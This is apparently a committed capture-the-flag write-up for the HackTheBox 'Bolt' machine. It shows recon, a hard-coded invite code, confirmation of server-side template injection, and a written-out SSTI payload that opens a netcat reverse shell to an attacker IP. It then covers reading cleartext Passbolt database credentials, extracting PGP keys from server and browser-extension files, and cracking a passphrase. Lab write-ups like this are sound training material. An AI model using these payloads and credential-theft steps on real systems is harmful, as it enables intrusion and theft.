|
| 1 | +# HACKTHEBOX: Bolt |
| 2 | +Bolt is a medium difficulty box. It involves downloading a docker container image from `http://bolt.htb` containing source code with a hard-coded invite link to create an account on `http://demo.bolt.htb` and `mail.bolt.htb`. The source code also shows that the web application may be vulnerable to SSTI. |
| 3 | +After creating an account, an attacker can exploit the SSTI vulnerability on the demo server's *update user profile* page to gain access to the box. |
| 4 | +The user has a Passbolt account with private PGP keys. After obtaining the PGP keys, an attacker can obtain credentials for root by accessing the Passbolt password manager on `http://passbolt.bolt.htb`. |
| 5 | + |
| 6 | +## Recon and Enumeration |
| 7 | +An initial nmap scan shows the hostname `passbolt.bolt.htb`. Add `bolt.htb` and `passbolt.bolt.htb` to `/etc/hosts`. |
| 8 | + |
| 9 | + |
| 10 | +Visiting `http://bolt.htb` brings a user to this page. |
| 11 | + |
| 12 | + |
| 13 | +The Downloads page of the site shows a download for a docker container image. |
| 14 | + |
| 15 | + |
| 16 | + |
| 17 | + |
| 18 | +Each folder has a tarball. After digging through and extracting these tarballs, there is some interesting information, but we'll come back to that later. |
| 19 | + |
| 20 | +Use ffuf to discover virtual hosts. The names `demo.bolt.htb` and `mail.bolt.htb` were found. |
| 21 | + |
| 22 | + |
| 23 | +##### Creating an account on demo.bolt.htb |
| 24 | +Visiting the demo page automatically redirects to login with an option to create an account. `http://demo.bolt.htb/register` prompts a user to provide a username, password, email, and an *invite code*. |
| 25 | + |
| 26 | + |
| 27 | + |
| 28 | +Run `grep -r 'invite'` to search for any invite codes in the docker container image. There are two python files: `forms.py` and `routes.py`. |
| 29 | + |
| 30 | + |
| 31 | +After looking at both, we find that the invite code is hard-coded in the file `41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py`. |
| 32 | + |
| 33 | + |
| 34 | +Create an account using the invite code `XNSS-HSJW-3NGU-8XTJ`. |
| 35 | + |
| 36 | + |
| 37 | +After account creation, you can sign in to both `demo.bolt.htb` and `mail.bolt.htb` with the creds created on registration. |
| 38 | + |
| 39 | + |
| 40 | +##### Reviewing source code and discovering potential SSTI |
| 41 | + |
| 42 | +After reading the source code, the directory `app/base` contains the contents of the login pages, while the sibling directory `app/home` contains the source of a regular user's profile page. |
| 43 | + |
| 44 | + |
| 45 | +After looking at the sibling source code, `41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py` contains some interesting functionality. The function `profile` allows a user to input name, experience, and skills, then sends the user an email with the subject "Please confirm profile changes". |
| 46 | + |
| 47 | +Next, the function `confirm_changes` may be vulnerable to SSTI because it uses the `render_template_string` function on the variable *name* which may or may not be validated/sanitized. |
| 48 | + |
| 49 | + |
| 50 | +As an alternative to an extensive source code review, it may be a good idea to simply grep for the potentially dangerous function `render_template_string` to search for any possibilities of SSTI. Running the command `grep -r 'render_template_string'` shows that there is only `41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py` calls the function. |
| 51 | + |
| 52 | + |
| 53 | +## Exploitation and user.txt |
| 54 | +The vulnerable form is in the `name` parameter in the settings tab of `http://demo.bolt.htb/admin/profile` and this can be tested with a simple `{{7*7}}` payload. |
| 55 | + |
| 56 | + |
| 57 | +After submitting, confirm the action with an email verification at `http://mail.bolt.htb` and we can see the payload successfully evaluated to `49`. |
| 58 | + |
| 59 | + |
| 60 | + |
| 61 | +PayloadsAllTheThings has a nice list of SSTI payloads. We can abuse SSTI to get remote code execution and a reverse shell. |
| 62 | + |
| 63 | + |
| 64 | +Using this ssti template, craft a payload to replace `id` with a netcat reverse shell: \ |
| 65 | +`{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.32 9001 >/tmp/f').read() }}` |
| 66 | + |
| 67 | + |
| 68 | +Next, Upgrade the shell with |
| 69 | +``` |
| 70 | +$ python -c "__import__('pty').spawn('/bin/bash')" |
| 71 | +CTRL-Z |
| 72 | +stty -echo raw |
| 73 | +fg |
| 74 | +export TERM=linux |
| 75 | +www-data@bolt:~/demo$ |
| 76 | +``` |
| 77 | + |
| 78 | + |
| 79 | +Earlier in the initial recon stages, we discovered a passbolt server, which is a password manager. Passbolt happens to store cleartext database credentials in the file `/etc/passbolt/passbolt.php` |
| 80 | + |
| 81 | + |
| 82 | +We can also discover the passbolt server's public and private keys inside of `/etc/passbolt/gpg/`. Download these keys for later use. |
| 83 | + |
| 84 | + |
| 85 | +The passbolt credentials also happen to be the credentials for user `eddie`. |
| 86 | + |
| 87 | + |
| 88 | +## Privilege Escalation and root.txt |
| 89 | +Eddie has email. The mail notes that the passbolt password manager has a web browser extension. |
| 90 | + |
| 91 | + |
| 92 | +After a quick google search, it turns out that passbolt has a cli to interact with the API https://github.com/passbolt/passbolt_cli. Passbolt CLI requires PGP keys for the client and the server. We already found the server PGP keys, now we need to search for eddie's PGP keys. |
| 93 | + |
| 94 | +After running linpeas as Eddie, we find the location of google chrome's extension info. |
| 95 | + |
| 96 | + |
| 97 | +A simple grep command reveals PGP keys in the file `/home/eddie/.config/google-chromeDefault/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log` |
| 98 | + |
| 99 | + |
| 100 | +Simply copy and paste the public and private PGP keys from this file. |
| 101 | + |
| 102 | + |
| 103 | + |
| 104 | +Now that we have retrieved the public and private keys for eddie and the server, we can run Passbolt CLI to retrieve creds. |
| 105 | + |
| 106 | +Import the server keys into the GPG keyring. |
| 107 | + |
| 108 | + |
| 109 | +Next, try to import Eddie's keys. Unfortunately, we need a passphrase to import the private key. Eddie's password found earlier does not work. |
| 110 | + |
| 111 | + |
| 112 | +We can use John the Ripper to brute force the passphrase with the rockyou wordlist. The passphrase is `merrychristmas`. |
| 113 | + |
| 114 | + |
| 115 | +We can finally import eddie's PGP keys. |
| 116 | + |
| 117 | + |
| 118 | +After importing the PGP keys, list the fingerprints with `gpg --list-keys` |
| 119 | + |
| 120 | + |
| 121 | +Use these fingerprints to configure Passbolt CLI. |
| 122 | + |
| 123 | + |
| 124 | +Passbolt is now configured, and you can now retrieve credentials from the passbolt server. |
| 125 | + |
0 commit comments